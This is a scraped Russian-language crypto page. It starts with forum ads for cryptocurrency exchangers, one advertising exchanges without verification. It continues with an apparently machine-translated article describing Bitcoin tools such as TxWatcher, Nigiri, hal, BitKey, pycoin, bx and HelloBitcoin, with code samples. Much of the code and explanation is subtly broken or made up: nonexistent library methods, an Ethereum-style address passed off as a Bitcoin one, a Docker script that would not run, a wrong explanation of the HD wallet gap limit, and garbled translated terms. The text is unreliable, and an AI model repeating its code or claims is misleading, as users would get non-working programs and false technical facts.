максимальный бонус в размере 1 LTC Контакты: Связаться с нами вы можете через онлайн чат на сайте https://cryptobar.men/ С уважением Администрация
  4. Доброго времени суток, уважаемые посетители форума! По мере все большего принятия криптовалютного рынка, повышается необходимость обмена цифровых денег на фиат и наоборот, фиата на крипту. И все больше и больше обменников и бирж предлагает свои услуги, желающим купить либо обменять криптовалюту. Но как, учитывая большое количество таких компаний, сделать правильный выбор, не нарвавшись на мошенников и не потеряв деньги из за невыгодного курса? Как правило, каждый обменный пункт имеет свои особенности курсообразования и курс одной и той же валюты может сильно отличаться. Просто забивать в поиске и исследовать сотни курсов, дело непрактичное. Чтобы найти выгодный курс, не потратив на это много времени, используйте мониторинг на wellcrypto.io. Наш ресурс собрал информацию по сотням обменных пунктов и включил в мониторинг только прошедшие проверку обменники. Плюс ко всему, здесь мы собираем отзывы пользователей о работе обменников, включенных в наш список. Для Вашего удобства, обменные пункты отсортированы по наилучшему курсу. Наш ресурс еще достаточно молодой, поэтому функционал добавляется и совершенствуется в процессе. Будем рады обратной информации от Вас! Wellcrypto - знаем где наилучшие курсы криптовалют!
  5. Доброго времени суток, уважаемые пользователи сервиса! Рады представить вам наш сервис для обмена криптовалют cryptotims.com- быстрый и надежный. О нас: - Отсутствуют скрытые комиссии - Защищенный протокол https - Регистрация в два клика, удобный интерфейс - Самые популярные криптовалютные направления - Наш сервис продолжает совершенствоваться и добавлять новые направления обменов. - Техподдержка. Всегда на связи. ВНИМАНИЕ! Все обмены происходят строго через заявку на сайте, мы не производим обмены в мессенджерах. Остерегайтесь мошенников. Время работы сервиса: с понедельника по субботу, с 10:00 до 21:00 по МСК. Вс-свободный график. Все наши плюсы вы можете оценить и поделится своими впечатлениями в комментариях на данном форуме после любой обменной операции. Контакты: Связаться с нами вы можете в рабочее время через онлайн чат или Telegram на сайте cryptotims.com. С уважением, Администрация cryptotims.com.
  6. Добрый вечер, форумчане! Представляем Вашему вниманию новый автоматический сервис - CityBit.Pro Мы настроены на длительную и плодотворную работу. Мы меняем Bitcoin на гривны любого украинского банка, работаем в оба направления. UAH-BTC и BTC-UAH, обмены без верификации (при условии, что Ваша карта находится в белом листе эквайринга) от 500 гр. Аналогичный обмен рублей на Bitcoin любого банка от 1000 до 5500 рублей, без верификации. Все приёмы ведутся на сторонние системы и защищены АнтиФродом. Приветливый онлайн-чат в правом нижнем углу всегда поможет Вам сориентироваться и провести обмен. Время работы сервиса с 10:00 до 22:00 по МСК. Отзывы о работе сервиса можно оставить уже сейчас на КурсЭксперт AML - вопросы и ответы: 1) - При обменах, принимаете ли вы криптовалюту клиента на свой локальный кошелек, или сразу на биржевой аккаунт? - На биржевой 2) - Какой процент общего риска по AML считаете допустимым, до скольки % включительно? - До 70% 3) - Какой процент «красного» риска по AML (высокорискованные компоненты транзакции) вы считаете допустимым, до скольки % включительно? (речь о доле в общей сумме) - См.выше 4) - Что будет с клиентом и его монетами при превышении риска (если вы заметили грязь на своем локальном кошельке), или если ваша биржа заблочила монеты (если вы принимали сразу на биржу)? - Н/д
  7. Биткоин — первая в мире децентрализованная цифровая валюта, которая произвела революцию в нашем представлении о деньгах. Одним из наиболее интересных аспектов Биткоина является широкий спектр утилит, разработанных для его поддержки. Эти утилиты призваны помочь пользователям безопасно и надежно взаимодействовать с сетью Биткоин и играют решающую роль в экосистеме. Одной из самых популярных биткоин-утилит является биткоин-кошелек. Кошелек — это программное приложение, которое позволяет пользователям хранить, отправлять и получать биткоины. Доступно множество различных типов кошельков, включая настольные, мобильные и аппаратные кошельки. Каждый тип кошелька имеет свои преимущества и недостатки, поэтому важно выбрать тот, который лучше всего соответствует вашим потребностям. Еще одна важная утилита Биткоин — это обмен биткоинов. Биржа — это платформа, которая позволяет пользователям покупать и продавать биткоины за другие валюты, такие как доллары США или евро. Доступно множество различных бирж, каждая со своим набором комиссий, функциями безопасности и пользовательскими интерфейсами. Важно выбрать биржу с хорошей репутацией, имеющую хорошую репутацию в области безопасности и надежности. Третий тип утилиты Биткоин — это программное обеспечение для майнинга. Майнинг — это процесс проверки транзакций в сети Биткоин и добавления их в блокчейн. Майнеры вознаграждаются биткоинами за свою работу, и чем больше у них вычислительной мощности, тем больше биткоинов они могут заработать. Программное обеспечение для майнинга позволяет пользователям участвовать в процессе майнинга и зарабатывать биткоины. Существует также множество других типов биткоин-утилитов, таких как платежные системы, торговые сервисы и обозреватели блокчейнов. Эти утилиты созданы для того, чтобы предприятиям и частным лицам было проще использовать Биткоин в повседневной жизни, и они играют решающую роль в росте и развитии экосистемы Биткоин. Утилиты Биткоин являются важной частью экосистемы Биткоин. Они предоставляют пользователям инструменты, необходимые для безопасного и надежного взаимодействия с сетью Биткоин, и помогают стимулировать внедрение Биткоина во всем мире. Независимо от того, являетесь ли вы владельцем бизнеса, инвестором или просто человеком, интересующимся цифровыми валютами, существует утилита Биткоин, которая может помочь вам достичь ваших целей. Преимущество Одним из менее известных преимуществ Биткоина является его полезность в качестве инструмента для различных приложений. Базовая технология Биткоина, известная как блокчейн, по сути представляет собой децентрализованный реестр, который можно использовать для хранения и проверки данных. Это делает его ценным инструментом для различных отраслей, от здравоохранения до логистики. Одним из таких приложений является управление цепочками поставок. Используя технологию блокчейна, компании могут отслеживать движение товаров от производителя к конечному потребителю. Это обеспечивает большую прозрачность и подотчетность, снижает риск мошенничества и гарантирует подлинность продукции. Еще одно применение — в сфере голосования. Технология блокчейн может быть использована для создания безопасной и прозрачной системы голосования, гарантирующей точность и защиту от несанкционированного доступа результатов. Это может помочь восстановить веру в демократический процесс и предотвратить фальсификацию выборов. Биткоин также можно использовать в качестве средства оплаты товаров и услуг. Это особенно полезно в странах, где традиционные банковские системы недоступны и ненадежны. Биткоин-транзакции быстрые, дешевые и безопасные, что делает их привлекательной альтернативой традиционным способам оплаты. Наконец, Биткоин можно использовать в качестве средства сбережения. В отличие от традиционных валют, которые могут быть обесценены из-за инфляции или политической нестабильности, Биткоин децентрализован и невосприимчив к таким факторам. Это делает его привлекательным вариантом для тех, кто хочет сохранить свое богатство в долгосрочной перспективе. Биткоин — это больше, чем просто криптовалюта. Базовая технология блокчейна имеет широкий спектр применений, которые могут принести пользу различным отраслям. От управления цепочками поставок до систем голосования, утилиты Биткоин могут произвести революцию в том, как мы ведем бизнес и взаимодействуем друг с другом. Поскольку технология продолжает развиваться, мы можем ожидать увидеть еще более инновационные применения Биткоина в ближайшие годы. Классификация Одной из ключевых особенностей Биткоина является его способность классифицироваться по различным типам полезностей. В этой статье мы рассмотрим различные классификации утилит Биткоин и их важность. Платежная система Самая основная классификация Биткоина — это платежная система. Биткоин позволяет пользователям мгновенно отправлять и получать платежи без необходимости использования посредников, таких как банки или платежные системы. Это делает его быстрым, безопасным и экономичным способом перевода денег через границу. Средство сбережения Еще одна важная классификация Биткоина — это средство сбережения. Биткоин имеет ограниченное количество монет в 21 миллион, что делает его дефицитным ресурсом. Этот дефицит в сочетании с его децентрализованным характером делает его популярным активом для инвесторов, желающих хранить свое богатство безопасным и защищенным от инфляции способом. Цифровое золото Биткоин часто называют «цифровым золотом» из-за его сходства с драгоценным металлом. Как и золото, Биткоин — дефицитный ресурс с ограниченным запасом. Он также децентрализован и действует независимо от какого-либо центрального органа власти. Это делает его привлекательным активом для инвесторов, желающих диверсифицировать свой портфель и застраховаться от инфляции. Децентрализованная платформа приложений Биткоин также служит платформой для создания децентрализованных приложений (DApps). Это приложения, которые работают в децентрализованной сети, а не на центральном сервере. Технология блокчейна Биткоин позволяет создавать безопасные и децентрализованные приложения, устойчивые к цензуре и мошенничеству. Криптовалюта Наконец, Биткоин — это криптовалюта, что означает, что это цифровой актив, использующий криптографию для защиты транзакций и контроля создания новых единиц. Криптовалюты, такие как Биткоин, разработаны так, чтобы быть децентрализованными и работать независимо от какого-либо центрального органа. Это делает их привлекательной альтернативой традиционным валютам, которые подвержены инфляции и манипуляциям со стороны центральных банков. Биткоин — это универсальная и инновационная технология, которую можно разделить на различные типы полезностей. Как платежная система, средство сбережения, цифровое золото, децентрализованная платформа приложений и криптовалюта, Биткоин может революционизировать наше представление о деньгах и финансовых транзакциях. Биткоин-утилиты Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher ↩︎ Нигири Вкусный контейнер для особых блюд в биткоинах, молниях и жидкостях ↩︎ «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) ↩︎ «BitKey» — Live USB для транзакций с воздушным зазором и «швейцарский армейский нож» Биткоин ↩︎ «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python ↩︎ «bx» — инструмент командной строки Bitcoin ↩︎ «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов ↩︎ «Сканер HD-кошелька» — найдите все использованные адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы ↩︎ «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG, не требующий фреймворка и зависимостей ↩︎ Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher 1 GitHub: https://github.com/tsileo/txwatcher TxWatcher — это инструмент на основе Python, который позволяет отслеживать транзакции по биткоин-адресам. Его можно использовать для различных целей, например для отслеживания пожертвований некоммерческой организации или мониторинга платежей, поступающих на торговый счет. В этой статье мы покажем вам, как использовать TxWatcher для мониторинга транзакций на биткоин-адресах. Сначала вам нужно установить TxWatcher. Вы можете сделать это, выполнив следующую команду в своем терминале: pip install txwatcher После установки TxWatcher вы можете начать мониторинг транзакций, создав новый экземпляр класса TxWatcher . Вот пример: from txwatcher import TxWatcher # Create a new TxWatcher instance tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet') # Monitor transactions for a specific Bitcoin address address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC' tx_watcher.watch_address(address) В этом примере мы создаем новый TxWatcher экземпляр и передаем наш ключ API и сеть Биткоин, которую мы хотим отслеживать (в данном случае тестовую сеть). Затем мы вызываем watch_address() метод и передаем биткоин-адрес, который хотим отслеживать. TxWatcher теперь начнет отслеживать транзакции для указанного биткоин-адреса. Вы можете прослушивать новые транзакции, вызвав listen_for_transactions() метод: # Listen for new transactions tx_watcher.listen_for_transactions() Это заблокирует выполнение вашей программы до тех пор, пока не будет обнаружена новая транзакция. При обнаружении новой транзакции TxWatcher выдаст transaction событие. Вы можете прослушивать это событие и что-то делать с данными транзакции, например сохранять их в базе данных или отправлять уведомление по электронной почте. Вот пример того, как прослушивать новые транзакции и сохранять данные транзакций в базе данных MongoDB: from txwatcher import TxWatcher from pymongo import MongoClient # Create a new TxWatcher instance tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet') # Connect to MongoDB client = MongoClient('mongodb://localhost:27017/') db = client['my_database'] collection = db['transactions'] # Monitor transactions for a specific Bitcoin address address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC' tx_watcher.watch_address(address) # Listen for new transactions and store them in MongoDB tx_watcher.listen_for_transactions(on_transaction=lambda transaction: collection.insert_one(transaction.to_dict())) В этом примере мы подключаемся к локальному экземпляру MongoDB и создаем новую базу данных и коллекцию для хранения данных транзакций. Затем мы вызываем listen_for_transactions() метод и передаем лямбда-функцию, которая принимает объект транзакции и вставляет его в коллекцию MongoDB с помощью этого insert_one() метода. Вот и все! Теперь вы знаете, как использовать TxWatcher для мониторинга транзакций на биткоин-адресах. Проявив немного творчества, вы можете использовать этот инструмент для создания всевозможных приложений и сервисов, связанных с биткоинами. Скрипт Python, использующий txwatcher: import txwatcher # create a new instance of the txwatcher txwatcher = txwatcher.TxWatcher() # connect to the blockchain txwatcher.connect_blockchain() # monitor a specific address for incoming transactions txwatcher.monitor_address('0x1234567890abcdef1234567890abcdef1234567890abcdef1234') # monitor a specific transaction hash for confirmations txwatcher.monitor_transaction_hash('0x1234567890abcdef1234567890abcdef1234567890abcdef1234') # print the transaction details when a new transaction is detected txwatcher.print_transaction_details() # close the connection to the blockchain txwatcher.close_blockchain_connection() Этот скрипт импортирует модуль txwatcher и создает новый экземпляр класса TxWatcher. Затем он подключается к блокчейну и отслеживает определенный адрес и хэш транзакции на предмет входящих транзакций и подтверждений соответственно. Наконец, он печатает детали транзакции и закрывает соединение с блокчейном. Нигири Вкусный док-бокс для приготовления особых биткоинов, молний и жидких блюд 2 GitHub: https://github.com/vulpemventures/nigiri Nigiri — это инструмент с интерфейсом командной строки (CLI), который упрощает процесс настройки среды тестирования биткоинов. С помощью Nigiri пользователи могут быстро и легко запустить блок регистрации биткоинов, а также Electrs и Esplora, два популярных инструмента для разработчиков биткоинов. Nigiri также включает команды faucet и push, которые упрощают тестирование приложений и сервисов Bitcoin. Regtest — это среда тестирования биткоинов, которая имитирует сеть биткоинов без использования реальных биткоинов. Это позволяет разработчикам тестировать свои биткоин-приложения и сервисы, не рискуя реальными деньгами. Electrs — это программное обеспечение для полного узла Биткоин, которое индексирует блокчейн Биткоина и предоставляет API для его запроса. Esplora — это веб-обозреватель блоков, который позволяет пользователям просматривать и анализировать блокчейн Биткоина. Нигири упрощает процесс настройки среды тестирования Биткоин, предоставляя единую команду, которая настраивает все необходимые компоненты. Сюда входит программное обеспечение Bitcoin Core, Electrs, Esplora и сборщик биткоинов, который предоставляет бесплатные тестовые биткоины для целей тестирования. Команда faucet в Нигири позволяет легко получить тестовые биткоины для целей тестирования. Команда push позволяет пользователям отправлять тестовые биткоины на другие адреса в сети regtest. Эти команды упрощают процесс тестирования приложений и сервисов Биткоин, упрощая разработчикам тестирование своих приложений, не рискуя реальными деньгами. В целом, Nigiri — это мощный инструмент для разработчиков биткоинов, которые хотят быстро и легко настроить среду регистрации биткоинов. С помощью Nigiri разработчики могут тестировать свои приложения и услуги, не рискуя реальными деньгами, а также легко получать тестовые биткоины для целей тестирования. Команды faucet и push упрощают симуляцию реальных биткоин-транзакций, позволяя разработчикам тестировать свои приложения в реалистичной среде. Nigiri — это инструмент с интерфейсом командной строки (CLI), который позволяет быстро настроить блок регистрации биткоинов с помощью Electrs и Esplora. Regtest — это частный блокчейн, который вы можете использовать для тестирования и экспериментов, не беспокоясь о реальных транзакциях биткоинов. Electrs — это легкий и высокопроизводительный сервер Electrum, обеспечивающий быстрый доступ к данным блокчейна, а Esplora — обозреватель блокчейна, позволяющий просматривать транзакции и блоки в сети regtest. Nigiri также включает в себя команду сборщика, которая позволяет генерировать тестовые адреса биткоинов с предварительно добытыми средствами, и команду push, которая позволяет отправлять транзакции в сеть regtest. С помощью Nigiri вы можете быстро и легко настроить среду регистрации биткоинов для тестирования и экспериментов, не беспокоясь о сложностях настройки полного узла биткоинов. Подводя итог, можно сказать, что Нигири — это мощный инструмент для всех, кто хочет экспериментировать с биткоинами и технологией блокчейна в частной и безопасной среде. Благодаря простому интерфейсу командной строки и встроенной интеграции Electrs и Esplora, Nigiri позволяет легко настроить блок регистрации биткоинов и начать исследовать мир биткоинов и технологий блокчейна. Скрипт, который вы можете использовать для запуска нигири в докер-контейнере: #!/usr/bin/env python3 import docker import os # set the docker client and image name client = docker.from_env() image_name = 'nigiri' # create a docker container container = client.containers.run( image=image_name, ports={'80': '80'}, volumes={'/var/run/docker.sock': '/var/run/docker.sock'}, detach=true ) # wait for the container to start print("waiting for the container to start...") container.wait() # get the ip address of the container ip_address = container.attrs['networksettings']['networks']['bridge']['ipaddress'] # print the url of the nigiri dashboard print(f"nigiri dashboard is available at: http://{ip_address}:80") # stop and remove the container print("stopping and removing the container...") container.stop() container.remove() Этот скрипт создает контейнер докеров с образом нигири, сопоставляет порт 80 с хостом и монтирует том сокета докеров, чтобы нигири мог получить доступ к API докеров. Затем он ждет запуска контейнера, получает его IP-адрес, печатает URL-адрес информационной панели нигири, а затем останавливает и удаляет контейнер. Чтобы использовать этот скрипт, в вашей системе должны быть установлены Python 3.x и Docker. вы можете запустить его, сохранив в файл (например run_nigiri.py) и запустив его с помощью python run_nigiri.py. «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) 3 GitHub: https://github.com/stevenroose/hal hal — это мощный инструмент интерфейса командной строки для Биткоин, построенный на основе ржавчины-биткоина. Он задуман как своего рода швейцарский армейский нож, предоставляющий широкий спектр функций для пользователей и разработчиков биткоинов. Некоторые из ключевых особенностей hal включают в себя: Генерация адресов: hal может генерировать новые биткоин-адреса для вашего использования. Создание транзакции: вы можете использовать hal для создания новых транзакций Биткоин, указав входы, выходы и любые другие необходимые параметры. Подписание транзакции: как только вы создали транзакцию, вы можете использовать hal, чтобы подписать ее, используя свои личные ключи. Трансляция транзакций: как только ваша транзакция будет подписана, вы можете использовать hal для ее трансляции в сеть Биткоин. Анализ блоков и транзакций: hal может анализировать блоки и транзакции Биткоина, позволяя извлекать из них данные. Управление кошельком: вы можете использовать hal для управления своими биткоин-кошельками, включая создание новых кошельков, импорт и экспорт ключей, а также управление вашими балансами. Сценарии: hal включает в себя мощный язык сценариев, который позволяет автоматизировать сложные задачи, связанные с биткоинами. В целом, hal — очень полезный инструмент для всех, кто регулярно работает с Биткоином. Являетесь ли вы разработчиком, создающим биткоин-приложения, трейдером, управляющим вашими биткоин-активами, или просто человеком, который хочет изучить возможности протокола Биткоин, hal может помочь вам выполнить эту работу. Скрипт: import subprocess def execute_hal(): subprocess.run(["hal", "--help"]) execute_hal() этот скрипт использует модуль подпроцесса в Python для выполнения команды «hal –help» в терминале. вы можете изменить этот сценарий для выполнения любой другой команды, которую захотите. hal — это инструмент командной строки, который предоставляет все виды утилит, связанных с биткоинами. Монтаж: $ cargo install --locked hal Краткое описание команд: адрес проверить: получить информацию об адресах create: создавать адреса, используя открытые ключи или скрипты. bech32 декодировать: анализировать элементы формата Bech32 кодировать: кодировать данные в формате Bech32. бип32 получение: получение ключей и адресов из расширенных ключей проверить: проверить BIP-32 xpub или xpriv бип39 генерировать: создать новую мнемонику BIP-39. get-seed: получить начальное значение и главный ключ BIP-32 для заданной мнемоники BIP-39. блокировать create: создать двоичный блок из JSON декодировать: декодировать двоичный блок в JSON хэш sha256: хеш-данные с помощью SHA-256. sha256d: хеш-данные с двойным SHA-256. ключ генерировать: генерировать случайную пару ключей получить: сгенерировать открытый ключ из закрытого ключа проверить: проверить закрытые ключи ecdsa-sign: создавать подписи ECDSA ecdsa-verify: проверить подписи ECDSA pubkey-tweak-add: добавить скаляр к точке pubkey-combine: сложить две точки вместе Ин счет декодировать: декодировать счета Lightning Меркл доказательство-создать: создать доказательство Меркла доказательство-проверить: проверить доказательство Меркла сообщение hash: получить хэши сообщения, подписанного биткоинами. знак: подпишите сообщение, используя сообщение, подписанное биткоинами проверить: проверить сообщение, подписанное биткоинами восстановить: восстановить открытый ключ или адрес, которым подписано сообщение. минискрипт дескриптор: получить информацию о выходном дескрипторе instspect: проверить минискрипты синтаксический анализ: преобразовать скрипт в минискрипт политика: проверить политики ПСБТ create: создать PSBT из необработанной неподписанной транзакции. декодировать: декодировать PSBT в JSON редактировать: редактировать встроенный PSBT Finalize: завершить PSBT в полностью подписанную транзакцию объединить: объединить несколько PSBT в один случайный байты: генерировать случайные байты сценарий декодировать: декодировать PSBT в JSON Техас create: создать бинарную транзакцию из JSON декодировать: декодировать двоичную транзакцию в JSON Минимальная поддерживаемая версия Rust (MSRV) : hal всегда должен компилироваться на Rust 1.41.1 . Обратите внимание, что он должен быть построен с использованием Cargo.lock файла, поэтому используйте --locked «BitKey» — Live USB для транзакций с воздушным зазором и биткоинский швейцарский армейский нож 4 Гитхаб: https://github.com/bitkey/bitkey BitKey — это операционная система Live USB, предназначенная для изолированных транзакций и являющаяся «швейцарским армейским ножом» для биткоинов. Это дистрибутив Linux, основанный на Debian, который поставляется с различными предустановленными инструментами, связанными с биткоинами. Одной из основных особенностей BitKey является его способность создавать изолированные транзакции. Это означает, что вы можете создать транзакцию Биткоин на компьютере, который не подключен к Интернету, а затем транслировать ее в сеть Биткоин с другого компьютера, подключенного к Интернету. Это очень безопасный способ создания биткоин-транзакций, поскольку он исключает риск кражи ваших личных ключей хакерами. BitKey также поставляется с множеством других инструментов, связанных с биткоинами, включая Bitcoin Core, Electrum, Armory и Bitcoin-QT. Эти инструменты позволяют вам управлять своими биткоин-кошельками, отправлять и получать биткоин-транзакции, а также контролировать сеть биткоинов. В дополнение к инструментам, связанным с Биткоином, BitKey также включает в себя множество других полезных утилит, таких как GParted, редактор разделов, и KeePassX, менеджер паролей. Эти инструменты могут быть полезны для управления вашим компьютером и обеспечения безопасности ваших паролей. BitKey прост в использовании, даже если вы не знакомы с Linux. Просто загрузите ISO-образ с веб-сайта BitKey, запишите его на USB-накопитель с помощью такого инструмента, как Rufus или UNetbootin, а затем загрузите компьютер с USB-накопителя. После загрузки BitKey вы можете сразу же начать использовать его инструменты. В целом, BitKey — это мощный и полезный инструмент для всех, кто хочет создавать изолированные биткоин-транзакции или безопасно управлять своими биткоин-кошельками. Его коллекция инструментов и утилит, связанных с биткоинами, делает его настоящим швейцарским армейским ножом для биткоинов, а простота использования делает его доступным даже для начинающих пользователей. вот скрипт, который загрузит и запишет BitKey на USB-накопитель: #!/bin/bash # This script will download and write BitKey to a USB drive # Make sure you have a USB drive plugged in before running this script # Download the latest BitKey ISO image wget -O bitkey.iso https://bitkey.io/bitkey.iso # Write the ISO image to the USB drive dd if=bitkey.iso of=/dev/sdX bs=4M Вам нужно будет заменить /dev/sdX фактическое имя устройства вашего USB-накопителя. Вы можете найти это, запустив lsblk и найдя устройство, соответствующее вашему USB-накопителю. Обратите внимание, что этот сценарий предполагает, что вы используете операционную систему на базе Linux. Если вы используете Windows, вам необходимо соответствующим образом изменить сценарий. «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python 5. GitHub: https://github.com/richardkiss/pycoin Pycoin — это служебная библиотека биткоинов и альтернативных монет на основе Python. Это проект с открытым исходным кодом, а это значит, что каждый может использовать его бесплатно. Pycoin предоставляет набор инструментов для работы с биткоинами и альт-монетами. Pycoin поддерживает множество различных альтернативных монет, включая Litecoin, Dogecoin и Namecoin. Он также поддерживает тестовые сети, такие как тестовая сеть Биткоин (Testnet) и тестовая сеть Litecoin (Testnet3). Pycoin имеет ряд функций, которые делают его полезным для разработчиков, работающих с биткоинами и альт-монетами. Одной из наиболее важных особенностей является поддержка различных криптографических алгоритмов, включая алгоритм цифровой подписи на основе эллиптической кривой (ECDSA) и алгоритм безопасного хэширования (SHA-256). Pycoin также обеспечивает поддержку различных типов транзакций, включая простые транзакции, транзакции с несколькими подписями и транзакции с блокировкой по времени. Он также поддерживает создание новых адресов и генерацию новых закрытых ключей. Pycoin спроектирован таким образом, чтобы его было легко использовать даже для разработчиков, которые плохо знакомы с биткоинами и альт-монетами. Он предоставляет простой API для работы с различными аспектами протоколов Биткоин и альтернативных монет, включая транзакции, адреса и блоки. В дополнение к своим основным функциям Pycoin также предоставляет ряд полезных утилит, таких как интерпретатор сценариев и обозреватель блоков. Эти утилиты упрощают работу с биткоинами и альт-монетами и могут использоваться для создания широкого спектра приложений. В целом, Pycoin — это мощная и гибкая библиотека для работы с биткоинами и альт-монетами. Независимо от того, создаете ли вы простой биткоин-кошелек или сложную систему обмена альтернативными монетами, Pycoin поможет вам выполнить работу быстро и легко. Вот простой пример того, как использовать библиотеку pycoin для создания биткоин-адреса: from pycoin.key import Key from pycoin.networks.bitcoin import networks from pycoin.encoding import double_sha256 # Create a private key key = Key.from_seed("hello") # Get the public key from the private key public_key = key.get_public_key() # Get the Bitcoin address from the public key address = public_key.address(network=networks.livenet) # Print the address print(address) Это выведет биткоин-адрес, соответствующий закрытому ключу «привет». Вы можете изменить начальное число «hello», чтобы сгенерировать другой адрес. «bx» — инструмент командной строки Bitcoin 6 GitHub: https://github.com/libbitcoin/libbitcoin-explorer Инструмент командной строки bx — мощный и универсальный инструмент для взаимодействия с сетью Биткоин. Он предоставляет ряд функций, включая управление кошельком, создание транзакций и анализ блокчейна. Одной из ключевых особенностей инструмента bx является его способность создавать кошельки и управлять ими. С помощью bx вы можете легко создать новый кошелек или импортировать существующий. После настройки кошелька вы можете использовать bx для генерации адресов, отправки и получения средств, а также проверки своего баланса. Еще одной важной особенностью инструмента bx является его способность создавать и транслировать транзакции в сети Биткоин. С помощью bx вы можете создавать собственные транзакции с нуля или использовать готовые шаблоны для быстрого создания транзакций для распространенных случаев использования. Вы также можете использовать bx для подписи и проверки транзакций, а также для их трансляции в сеть. Помимо управления кошельком и транзакциями, инструмент bx также предоставляет ряд функций для анализа блокчейна. С помощью bx вы можете запросить у блокчейна информацию о транзакциях, блоках и адресах. Вы также можете использовать bx для создания отчетов и визуализации данных блокчейна, что делает его мощным инструментом для исследователей и разработчиков. В целом, инструмент командной строки bx является ценным дополнением к набору инструментов любого биткоин-разработчика. Его универсальность и простота использования делают его важным инструментом для всех, кто хочет создавать приложения или сервисы в сети Биткоин. import subprocess # execute the command subprocess.run(['bx', 'command_name', 'parameter1', 'parameter2', ..]) вы можете заменить «имя_команды» и «параметр1», «параметр2» и т. д. фактической командой и ее параметрами, которые вы хотите выполнить. import subprocess # execute the bx command subprocess.run(["bx", "tx", "info", "tx_id"]) этот код импортирует subprocess модуль, а затем запускает bx команду с аргументами tx info и tx_id . вы можете заменить tx_id идентификатор транзакции, которую хотите найти. пример сценария Python, который использует subprocess модуль для выполнения bx инструмента командной строки: import subprocess # replace this with the path to your bx executable bx_path = "/path/to/bx" # command to execute command = [bx_path, "help"] # execute the command and capture the output output = subprocess.check_output(command) # print the output print(output.decode()) Вы можете заменить command список любой другой командой, которую хотите выполнить с помощью этого bx инструмента. Просто не забудьте указать путь к bx исполняемому файлу в bx_path переменной. Также обратите внимание, что этот скрипт будет работать только в Unix-подобных системах (например, Linux или macOS). Если вы используете Windows, вам необходимо соответствующим образом изменить сценарий. «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов 7. GitHub: https://github.com/prettymuchbryce/hellobitcoin В мире криптовалют Биткоин изменил правила игры с момента его создания в 2009 году. С ростом популярности Биткоина неудивительно, что все больше и больше людей заинтересованы в том, чтобы научиться его использовать. Однако новичкам процесс создания кошелька, создания и подписания транзакций, а также отправки транзакций через сеть Биткоин может показаться сложным. Вот тут-то и приходит на помощь Hello Bitcoin. Hello Bitcoin — это набор простых программ, призванных сделать процесс использования биткоинов проще и доступнее для новичков. С помощью Hello Bitcoin пользователи могут с легкостью создавать биткоин-кошелек, создавать и подписывать транзакции, а также отправлять транзакции через сеть Биткоин. Первым шагом в использовании Hello Bitcoin является создание биткоин-кошелька. Это можно сделать с помощью простой команды, и программа сгенерирует для пользователя уникальный адрес кошелька. После создания кошелька пользователь может начать отправлять и получать биткоины. Создание и подписание транзакций также упрощается с помощью Hello Bitcoin. Программа предоставляет пользователям простой интерфейс для ввода деталей транзакции, таких как адрес кошелька получателя и сумма биткоинов, которую необходимо отправить. После создания транзакции пользователь может подписать ее своим закрытым ключом, гарантируя, что транзакция безопасна и действительна. Наконец, отправка транзакций через сеть Биткоин также упрощается с помощью Hello Bitcoin. Программа предоставляет пользователям простой интерфейс для ввода деталей транзакции, таких как адрес кошелька получателя и сумма биткоинов, которую необходимо отправить. Как только транзакция будет создана и подписана, программа отправит ее по сети Биткоин, гарантируя, что она будет обработана и подтверждена сетью. В целом, Hello Bitcoin — отличный инструмент для новичков, которые заинтересованы в использовании биткоинов, но напуганы этим процессом. Благодаря простому интерфейсу и простым в использовании функциям Hello Bitcoin позволяет каждому легко создать биткоин-кошелек, создавать и подписывать транзакции, а также отправлять транзакции по сети Биткоин. вот скрипт Python, который использует hellobitcoin библиотеку для создания биткоин-кошелька, создания и подписания транзакции и отправки ее по сети биткоин: from hellobitcoin import * from bitcoin.base58 import encode # Generate a new Bitcoin wallet wallet = generate_wallet() print("Bitcoin Wallet: ", wallet['address']) # Generate a new Bitcoin transaction tx = create_transaction(wallet, "1BTC") tx['input'][0]['address'] = wallet['address'] tx['input'][0]['script'] = wallet['script'] tx['input'][0]['amount'] = 100000000 tx['input'][0]['sequence'] = 0xFFFFFFFF tx['output'][0]['address'] = "1AC4fMwgY8j9onSbXEWeH6Zan8QGMSdmtA" tx['output'][0]['amount'] = 100000000 - 5000 tx['output'][0]['script'] = "OP_DUP OP_HASH160 20 0x14 OP_EQUALVERIFY OP_CHECKSIG" # Sign the Bitcoin transaction tx['input'][0]['script'] = sign_transaction(tx['input'][0]['script'], wallet['private_key']) # Send the Bitcoin transaction over the Bitcoin network tx_hex = encode(tx.serialize()) print("Bitcoin Transaction: ", tx_hex) Обратите внимание, что это всего лишь пример сценария, и вам не следует использовать его для отправки реальных транзакций биткоинов. Кроме того, будьте осторожны при работе с биткоин-кошельками и транзакциями, поскольку они связаны с реальными деньгами и могут быть легко потеряны при неправильном обращении. «Сканер HD-кошелька» — найдите все используемые адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы 8 GitHub: https://github.com/alexk111/HD-Wallet-Scanner HD-кошельки или иерархические детерминированные кошельки — популярный способ управления биткоин-адресами. они позволяют генерировать практически бесконечное количество адресов из одного начального числа, что делает их более безопасными и удобными, чем традиционные кошельки. однако одна из проблем использования HD-кошельков заключается в том, что их может быть сложно сканировать на предмет используемых адресов. вот тут-то и пригодится сканер HD-кошелька. Сканер HD-кошелька — это инструмент, который позволяет вам найти все использованные адреса в ваших биткоин-HD-кошельках, даже если они превысили лимит пробелов. предел разрыва — это максимальное количество адресов, которые могут быть сгенерированы из одного начального числа, и по умолчанию он обычно равен 20. как только вы достигнете предела разрыва, вы больше не сможете генерировать новые адреса из этого начального числа. Сканер HD-кошелька работает путем сканирования блокчейна на предмет транзакций, соответствующих определенному шаблону. Затем он использует эту информацию для идентификации всех адресов, которые использовались в вашем HD-кошельке, независимо от того, превысили ли 